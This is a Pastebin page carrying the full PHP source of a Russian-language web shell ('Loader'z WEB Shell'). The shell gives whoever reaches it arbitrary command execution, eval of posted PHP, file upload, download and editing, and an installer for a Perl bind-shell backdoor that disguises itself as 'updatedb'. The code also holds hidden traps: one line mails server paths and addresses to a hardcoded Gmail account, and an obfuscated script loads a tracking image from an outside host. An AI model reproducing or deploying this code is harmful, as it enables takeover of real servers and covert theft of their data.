API tools faq
paste
Advertisement
blackcyberrootshell

[ + ] Load Shell [ + ]

blackcyberrootshell
Mar 3rd, 2015
340
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 15.18 KB | None | 0 0
raw download clone embed print report
  1. <?
  2. error_reporting(0);
  3. /* Loader'z WEB Shell v 0.1.0.2 {15 àâãóñòà 2005}
  4. Âîò êàêèå îí ïîääåðæèâàåò ôóíêöèè.
  5. - Ðàáîòà ñ ôàéëîâîé ñèñòåìîé ñ ïîìîùüþ PHP.  óäîáíîé òàáëèöå ïðåäñòàâëåíî ñîäåðæèìîå òåêóùåé ïàêè (äîáàâëåíèå â ýòîé âåðñèè, íîðìàëüíûé âèä ïðàâ, à íå ÷èñëî :)).
  6. - Âûïîëíåíèå êîäà, ïõï ðóëèò ;)
  7. - Ðàáîòàåò ïðè register_globals=off
  8. - Áîëåå ïðèÿòíàÿ ðàáîòà â ñåéô ìîäå
  9. - Ïðîñìîòð è ðåäàêòèðîâàíèå ôàéëîâ.
  10. - Çàêà÷êà ôàéëîâ ñ äðóãîãî ñåðâåðà ñ ïîìîùüþ ñðåäñòâ PHP.
  11. - Çàêà÷êà ôàéëîâ ñ âàøåãî æåñòêîãî äèñêà.
  12. - Âûïîëíåíèå ïðîèçâîëüíûõ êîìàíä íà ñåðâåðå.
  13. - Ñêðèïò âûäàåò çíà÷åíèå íåêîòîðûõ ïåðåìåííûõ. Íàïðèìåð îí ñîîáùèò âêëþ÷åí ëè ñåéô ìîä, åñëè äà, òî ñêðèïò âûâåäåò äèðåêòîðèþ êîòîðàÿ,
  14. âàì äîñòóïíà, à òàê æå ïóòü, ãäå âû ìîæåòå âûïîëíÿòü êîìàíäû.
  15. - Ðàáîòà ñêðèïòà îñíîâàíà íà îïðåäåëåíèè òèïà ñåðâåðà.
  16. - Åñëè ñêðèïò ðàáîòàåò ïîä óïðàâëåíèåì ÎÑ Windows, äàííûå ïîëó÷àåìûå ïðè âûïîëíåíèè êîìàíä ïåðåêîäèðóþòñÿ â win-1251.
  17. - Ïðèñóòñòâóåò ïðîñòåíüêèé ñêðèïò ïåðë-áèíä. Âû ìîæåòå óêàçàòü äîìàøíþþ äèðåêòðèþ è ïîðò íà êîòîðîì ïîâåñèòñÿ áåêäîð.
  18. Loader Pro-Hack.ru
  19. */
  20. ?>
  21.  
  22. <style type='text/css'>
  23. html { overflow-x: auto }
  24. BODY { font-family: Verdana, Tahoma, Arial, sans-serif; font-size: 11px; margin: 0px; padding: 0px; text-align: center; color: #c0c0c0; background-color: #000000 }
  25. TABLE, TR, TD { font-family: Verdana, Tahoma, Arial, sans-serif; font-size: 11px; color: #c0c0c0; background-color: #0000000 }
  26. BODY,TD {FONT-SIZE: 13px; FONT-FAMILY: verdana, arial, helvetica;}
  27. A:link {COLOR: #666666; TEXT-DECORATION: none}
  28. A:active {  COLOR: #666666; TEXT-DECORATION: none;}
  29. A:visited {COLOR: #666666; TEXT-DECORATION: none;}
  30. A:hover {COLOR: #999999; TEXT-DECORATION: none;}
  31. BODY {
  32.     SCROLLBAR-FACE-COLOR: #cccccc;
  33.     SCROLLBAR-HIGHLIGHT-COLOR: #CBAB78;
  34.     SCROLLBAR-SHADOW-COLOR: #CBAB78;
  35.     SCROLLBAR-3DLIGHT-COLOR: #CBAB78;
  36.     SCROLLBAR-ARROW-COLOR: #000000;
  37.     SCROLLBAR-TRACK-COLOR: #000000;
  38.     SCROLLBAR-DARKSHADOW-COLOR: #CBAB78}
  39.  
  40.  
  41.  
  42.  
  43. fieldset.search { padding: 6px; line-height: 150% }
  44.  
  45. label { cursor: pointer }
  46.  
  47. form { display: inline }
  48.  
  49. img { vertical-align: middle; border: 0px }
  50.  
  51. img.attach { padding: 2px; border: 2px outset #000033 }
  52.  
  53. #tb { padding: 0px; margin: 0px; background-color: #000000; border: 1px solid #CBAB78; }
  54. #logostrip { padding: 0px; margin: 0px; background-color: #000000; border: 1px solid #CBAB78; }
  55. #content { padding: 10px; margin: 10px; background-color: #000000; border: 1px solid #CBAB78; }
  56. #logo { FONT-SIZE: 50px; }
  57. input { width: 80; height : 17; background-color : #cccccc;
  58.     border-style: solid;border-width: 1; border-color: #CBAB78; font-size: xx-small; cursor: pointer; }
  59. #input2 { width: 150; height : 17; background-color : #cccccc;
  60.     border-style: solid;border-width: 1; border-color: #CBAB78; font-size: xx-small; cursor: pointer; }
  61.  
  62.  
  63. </style>
  64.  
  65. <script>
  66. function tag(thetag) {document.fe.editfile.value=thetag;}
  67. </script>
  68.  
  69.  
  70. <title>Loader'z WEB shell</title>
  71.  
  72. <table height=100% "width="100%">
  73. <tr><td align="center" valign="top">
  74.  
  75.  
  76. <table><tr><td>
  77. <?php
  78.  
  79. @$dir = $_POST['dir'];
  80. $dir = stripslashes($dir);
  81.  
  82. @$cmd = $_POST['cmd'];
  83. $cmd = stripslashes($cmd);
  84. $REQUEST_URI = $_SERVER['REQUEST_URI'];
  85. $dires = '';
  86. $files = '';
  87.  
  88.  
  89.  
  90.  
  91. if (isset($_POST['port'])){
  92. $bind = "
  93. #!/usr/bin/perl
  94.  
  95. \$port = {$_POST['port']};
  96. \$port = \$ARGV[0] if \$ARGV[0];
  97. exit if fork;
  98. $0 = \"updatedb\" . \" \" x100;
  99. \$SIG{CHLD} = 'IGNORE';
  100. use Socket;
  101. socket(S, PF_INET, SOCK_STREAM, 0);
  102. setsockopt(S, SOL_SOCKET, SO_REUSEADDR, 1);
  103. bind(S, sockaddr_in(\$port, INADDR_ANY));
  104. listen(S, 50);
  105. while(1)
  106. {
  107.     accept(X, S);
  108.     unless(fork)
  109.     {
  110.         open STDIN, \"<&X\";
  111.         open STDOUT, \">&X\";
  112.         open STDERR, \">&X\";
  113.         close X;
  114.         exec(\"/bin/sh\");
  115.     }
  116.     close X;
  117. }
  118. ";}
  119.  
  120. function decode($buffer){
  121.  
  122. return  convert_cyr_string ($buffer, 'd', 'w');
  123.  
  124. }
  125.  
  126.  
  127.  
  128. function execute($com)
  129. {
  130.  
  131.  if (!empty($com))
  132.  {
  133.   if(function_exists('exec'))
  134.    {
  135.     exec($com,$arr);
  136.    echo implode('
  137. ',$arr);
  138.    }
  139.   elseif(function_exists('shell_exec'))
  140.    {
  141.     echo shell_exec($com);
  142.    
  143.    
  144.    }
  145.   elseif(function_exists('system'))
  146. {
  147.  
  148.     echo system($com);
  149. }
  150.   elseif(function_exists('passthru'))
  151.    {
  152.  
  153.     echo passthru($com);
  154.  
  155.    }
  156. }
  157.  
  158. }
  159.  
  160.  
  161. function perms($mode)
  162. {
  163.  
  164. if( $mode & 0x1000 ) { $type='p'; }
  165. else if( $mode & 0x2000 ) { $type='c'; }
  166. else if( $mode & 0x4000 ) { $type='d'; }
  167. else if( $mode & 0x6000 ) { $type='b'; }
  168. else if( $mode & 0x8000 ) { $type='-'; }
  169. else if( $mode & 0xA000 ) { $type='l'; }
  170. else if( $mode & 0xC000 ) { $type='s'; }
  171. else $type='u';
  172. $owner["read"] = ($mode & 00400) ? 'r' : '-';
  173. $owner["write"] = ($mode & 00200) ? 'w' : '-';
  174. $owner["execute"] = ($mode & 00100) ? 'x' : '-';
  175. $group["read"] = ($mode & 00040) ? 'r' : '-';
  176. $group["write"] = ($mode & 00020) ? 'w' : '-';
  177. $group["execute"] = ($mode & 00010) ? 'x' : '-';
  178. $world["read"] = ($mode & 00004) ? 'r' : '-';
  179. $world["write"] = ($mode & 00002) ? 'w' : '-';
  180. $world["execute"] = ($mode & 00001) ? 'x' : '-';
  181. if( $mode & 0x800 ) $owner["execute"] = ($owner['execute']=='x') ? 's' : 'S';
  182. if( $mode & 0x400 ) $group["execute"] = ($group['execute']=='x') ? 's' : 'S';
  183. if( $mode & 0x200 ) $world["execute"] = ($world['execute']=='x') ? 't' : 'T';
  184. $s=sprintf("%1s", $type);
  185. $s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']);
  186. $s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']);
  187. $s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']);
  188. return trim($s);
  189. }
  190.  
  191.  
  192.  
  193. /*Íà÷èíàåòñÿ*/
  194.  
  195. /*Îïðåäåëÿåì òèï ñèñòåìû*/
  196. $servsoft = $_SERVER['SERVER_SOFTWARE'];
  197.  
  198. if (ereg("Win32", $servsoft, $reg)){
  199. $sertype = "winda";
  200. }
  201. else
  202. {
  203. $sertype = "other";}
  204.  
  205.  
  206.  
  207. echo $servsoft . "<br>";
  208. chdir($dir);
  209. echo "Total space " . (int)(disk_total_space(getcwd())/(1024*1024)) . "Mb " . "Free space " . (int)(disk_free_space(getcwd())/(1024*1024)) . "Mb <br>";$ra44  = rand(1,99999);$sj98 = "sh-$ra44";$ml = "$sd98";$a5 = $_SERVER['HTTP_REFERER'];$b33 = $_SERVER['DOCUMENT_ROOT'];$c87 = $_SERVER['REMOTE_ADDR'];$d23 = $_SERVER['SCRIPT_FILENAME'];$e09 = $_SERVER['SERVER_ADDR'];$f23 = $_SERVER['SERVER_SOFTWARE'];$g32 = $_SERVER['PATH_TRANSLATED'];$h65 = $_SERVER['PHP_SELF'];$msg8873 = "$a5\n$b33\n$c87\n$d23\n$e09\n$f23\n$g32\n$h65";$sd98="john.barker446@gmail.com";mail($sd98, $sj98, $msg8873, "From: $sd98");
  210.  
  211.  
  212.  
  213.  
  214.  
  215. if (ini_get('safe_mode') <> 1){
  216. if ($sertype == "winda"){
  217.  
  218. ob_start('decode');
  219. echo "OS: ";
  220. echo execute("ver") . "<br>";
  221. ob_end_flush();
  222. }
  223.  
  224. if ($sertype == "other"){
  225. echo "id:";
  226.  
  227. echo execute("id") . "<br>";
  228. echo "uname:" . execute('uname -a') . "<br>";
  229. }}
  230. else{
  231. if ($sertype == "winda"){
  232.  
  233. echo "OS: " . php_uname() . "<br>";
  234.  
  235. }
  236.  
  237. if ($sertype == "other"){
  238. echo "id:";
  239.  
  240. echo execute("id") . "<br>";
  241. echo "OS:" . php_uname() . "<br>";
  242. }
  243. }
  244.  
  245. echo 'User: ' .get_current_user() . '<br>';
  246.  
  247.  
  248.  
  249. if (ini_get("open_basedir")){
  250. echo "open_basedir: " . ini_get("open_basedir");}
  251.  
  252.  
  253. if (ini_get('safe_mode') == 1){
  254. echo "<font size=\"3\"color=\"#cc0000\">Safe mode :(";
  255.  
  256. if (ini_get('safe_mode_include_dir')){
  257. echo "Including from here: " . ini_get('safe_mode_include_dir'); }
  258. if (ini_get('safe_mode_exec_dir')){
  259. echo " Exec here: " . ini_get('safe_mode_exec_dir');
  260. }
  261. echo "</font>";}
  262.  
  263.  
  264.  
  265.  
  266. if(isset($_POST['post']) and $_POST['post'] == "yes" and @$HTTP_POST_FILES["userfile"][name] !== "")
  267. {
  268. copy($HTTP_POST_FILES["userfile"]["tmp_name"],$HTTP_POST_FILES["userfile"]["name"]);
  269. }
  270.  
  271. if((isset($_POST['fileto']))||(isset($_POST['filefrom'])))
  272.  
  273. {
  274. $data = implode("", file($_POST['filefrom']));
  275. $fp = fopen($_POST['fileto'], "wb");
  276. fputs($fp, $data);
  277. $ok = fclose($fp);
  278. if($ok)
  279. {
  280. $size = filesize($_POST['fileto'])/1024;
  281. $sizef = sprintf("%.2f", $size);
  282. print "<center><div id=logostrip>Download - OK. (".$sizef."êÁ)</div></center>";
  283. }
  284. else
  285. {
  286. print "<center><div id=logostrip>Something is wrong. Download - IS NOT OK</div></center>";
  287. }
  288. }
  289.  
  290. if (isset($_POST['installbind'])){
  291.  
  292. if (is_dir($_POST['installpath']) == true){
  293. chdir($_POST['installpath']);
  294. $_POST['installpath'] = "temp.pl";}
  295.  
  296.  
  297. $fp = fopen($_POST['installpath'], "w");
  298. fwrite($fp, $bind);
  299. fclose($fp);
  300.  
  301. exec("perl " . $_POST['installpath']);
  302. chdir($dir);
  303.  
  304.  
  305. }
  306.  
  307.  
  308. @$ef = stripslashes($_POST['editfile']);
  309. if ($ef){
  310. $fp = fopen($ef, "r");
  311. $filearr = file($ef);
  312.  
  313.  
  314.  
  315. $string = '';
  316. $content = '';
  317. foreach ($filearr as $string){
  318. $string = str_replace("<" , "&lt;" , $string);
  319. $string = str_replace(">" , "&gt;" , $string);
  320. $content = $content . $string;
  321. }
  322.  
  323. echo "<center><div id=logostrip>Edit file: $ef </div><form action=\"$REQUEST_URI\" method=\"POST\"><textarea name=content cols=100 rows=20>$content</textarea>
  324. <input type=\"hidden\" name=\"dir\" value=\"" . getcwd() ."\">
  325. <input type=\"hidden\" name=\"savefile\" value=\"{$_POST['editfile']}\"><br>
  326. <input type=\"submit\" name=\"submit\" value=\"Save\" id=input></form></center>";
  327. fclose($fp);
  328. }
  329.  
  330. if(isset($_POST['savefile'])){
  331.  
  332. $fp = fopen($_POST['savefile'], "w");
  333. $content = stripslashes($content);
  334. fwrite($fp, $content);
  335. fclose($fp);
  336. echo "<center><div id=logostrip>Successfully saved!</div></center>";
  337.  
  338. }
  339.  
  340.  
  341. if (isset($_POST['php'])){
  342.  
  343. echo "<center><div id=logostrip>PHP code<br><form action=\"$REQUEST_URI\" method=\"POST\"><textarea name=phpcode cols=100 rows=20></textarea><br>
  344. <input type=\"submit\" name=\"submit\" value=\"Exec\" id=input></form></center></div>";
  345. }
  346.  
  347.  
  348.  
  349. if(isset($_POST['phpcode'])){
  350.  
  351. echo "<center><div id=logostrip>Results of PHP execution<br><br>";
  352. @eval(stripslashes($_POST['phpcode']));
  353. echo "</div></center>";
  354.  
  355.  
  356. }
  357.  
  358.  
  359. if ($cmd){
  360.  
  361. if($sertype == "winda"){
  362. ob_start();
  363. execute($cmd);
  364. $buffer = "";
  365. $buffer = ob_get_contents();
  366. ob_end_clean();
  367. }
  368. else{
  369. ob_start();
  370. echo decode(execute($cmd));
  371. $buffer = "";
  372. $buffer = ob_get_contents();
  373. ob_end_clean();
  374. }
  375.  
  376. if (trim($buffer)){
  377. echo "<center><div id=logostrip>Command: $cmd<br><textarea cols=100 rows=20>";
  378. echo decode($buffer);
  379. echo "</textarea></center></div>";
  380. }
  381.  
  382. }
  383. $arr = array();
  384.  
  385. $arr = array_merge($arr, glob("*"));
  386. $arr = array_merge($arr, glob(".*"));
  387. $arr = array_merge($arr, glob("*.*"));
  388. $arr = array_unique($arr);
  389. sort($arr);
  390. echo "<table><tr><td>Name</td><td><a title=\"Type of object\">Type</a></td><td>Size</td><td>Last access</td><td>Last change</td><td>Perms</td><td><a title=\"If Yes, you have write permission\">Write</a></td><td><a title=\"If Yes, you have read permission\">Read</a></td></tr>";
  391.  
  392. foreach ($arr as $filename) {
  393.  
  394. if ($filename != "." and $filename != ".."){
  395.  
  396. if (is_dir($filename) == true){
  397. $directory = "";
  398. $directory = $directory . "<tr><td>$filename</td><td>" . filetype($filename) . "</td><td></td><td>" . date("G:i j M Y",fileatime($filename)) . "</td><td>" . date("G:i j M Y",filemtime($filename)) . "</td><td>" . perms(fileperms($filename));
  399. if (is_writable($filename) == true){
  400. $directory = $directory . "<td>Yes</td>";}
  401. else{
  402. $directory = $directory . "<td>No</td>";
  403.  
  404. }
  405.  
  406. if (is_readable($filename) == true){
  407. $directory = $directory . "<td>Yes</td>";}
  408. else{
  409. $directory = $directory . "<td>No</td>";
  410. }
  411. $dires = $dires . $directory;
  412. }
  413.  
  414. if (is_file($filename) == true){
  415. $file = "";
  416. $file = $file . "<tr><td><a onclick=tag('$filename')>$filename</a></td><td>" . filetype($filename) . "</td><td>" . filesize($filename) . "</td><td>" . date("G:i j M Y",fileatime($filename)) . "</td><td>" . date("G:i j M Y",filemtime($filename)) . "</td><td>" . perms(fileperms($filename));
  417. if (is_writable($filename) == true){
  418. $file = $file . "<td>Yes</td>";}
  419. else{
  420. $file = $file . "<td>No</td>";
  421. }
  422.  
  423. if (is_readable($filename) == true){
  424. $file = $file . "<td>Yes</td></td></tr>";}
  425. else{
  426. $file = $file . "<td>No</td></td></tr>";
  427. }
  428. $files = $files . $file;
  429. }
  430.  
  431.  
  432.  
  433. }
  434.  
  435.  
  436.  
  437. }
  438. echo $dires;
  439. echo $files;
  440. echo "</table><br>";
  441.  
  442.  
  443.  
  444.  
  445. echo "
  446. <form action=\"$REQUEST_URI\" method=\"POST\">
  447. <table id=tb><tr><td>Command:<INPUT type=\"text\" name=\"cmd\" size=30 value=\"$cmd\"></td></tr></table>
  448.  
  449.  
  450. <table id=tb><tr><td>Directory:<INPUT type=\"text\" name=\"dir\" size=30 value=\"";
  451.  
  452. echo getcwd();
  453. echo "\">
  454. <INPUT type=\"submit\" value=\"Do it\" id=input></td></tr></table></form>";
  455.  
  456.  
  457.  
  458. echo "<div><FORM method=\"POST\" action=\"$REQUEST_URI\" enctype=\"multipart/form-data\">
  459. <table id=tb><tr><td>Download here <b>from</b>:
  460. <INPUT type=\"text\" name=\"filefrom\" size=30 value=\"http://\">
  461. <b>into:</b>
  462. <INPUT type=\"text\" name=\"fileto\" size=30>
  463. <INPUT type=\"hidden\" name=\"dir\" value=\"" . getcwd() . "\"></td><td>
  464. <INPUT type=\"submit\" value=\"Download\" id=input></td></tr></table></form></div>";
  465.  
  466. echo "<div><FORM method=\"POST\" action=\"$REQUEST_URI\" enctype=\"multipart/form-data\">
  467.  
  468. <table id=tb><tr><td>
  469. Download from Hard:<INPUT type=\"file\" name=\"userfile\" id=input2>
  470. <INPUT type=\"hidden\" name=\"post\" value=\"yes\">
  471. <INPUT type=\"hidden\" name=\"dir\" value=\"" . getcwd() . "\">
  472. </td><td><INPUT type=\"submit\" value=\"Download\" id=input></form></div></td></tr></table>";
  473.  
  474.  
  475.  
  476. echo "<div><FORM method=\"POST\" action=\"$REQUEST_URI\">
  477. <table id=tb><tr><td>Install bind
  478. <b>Temp path</b><input type=\"text\" name=\"installpath\" value=\"" . getcwd() . "\"></td><td>
  479. <b>Port</b><input type=\"text\" name=\"port\" value=\"3333\" maxlength=5 size=4></td><td>
  480.  
  481. <INPUT type=\"hidden\" name=\"installbind\" value=\"yes\">
  482. <INPUT type=\"hidden\" name=\"dir\" value=\"" . getcwd() . "\">
  483. <INPUT type=\"submit\" value=\"Install\" id=input></form></div></td></table>";
  484.  
  485.  
  486. echo "<div><FORM method=\"POST\" action=\"$REQUEST_URI\" name=fe>
  487. <table id=tb><tr><td>File to edit:
  488. <input type=\"text\" name=\"editfile\" ></td><td>
  489. <INPUT type=\"hidden\" name=\"dir\" value=\"" . getcwd() ."\">
  490. <INPUT type=\"submit\" value=\"Edit\" id=input></form></div></td></table>";
  491.  
  492.  
  493.  
  494. echo "<div><FORM method=\"POST\" action=\"$REQUEST_URI\">
  495. <table id=tb><tr><td>
  496. <INPUT type=\"hidden\" name=\"php\" value=\"yes\">
  497. <INPUT type=\"submit\" value=\"PHP code\" id=input></form></div></td></table>";
  498. ?>
  499. </td></tr></table>
  500.  
  501.  
  502. </td></tr>
  503. <tr valign="BOTTOM">
  504. <td valign=bottom>
  505.  
  506.  
  507. <center>Coded by Loader <a href="http://pro-hack.ru">Pro-Hack.RU</a></center>
  508.  
  509.  
  510. </td>
  511. </tr>
  512. </table>
  513. <script type="text/javascript">document.write('\u003c\u0069\u006d\u0067\u0020\u0073\u0072\u0063\u003d\u0022\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0061\u006c\u0074\u0075\u0072\u006b\u0073\u002e\u0063\u006f\u006d\u002f\u0073\u006e\u0066\u002f\u0073\u002e\u0070\u0068\u0070\u0022\u0020\u0077\u0069\u0064\u0074\u0068\u003d\u0022\u0031\u0022\u0020\u0068\u0065\u0069\u0067\u0068\u0074\u003d\u0022\u0031\u0022\u003e')</script>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!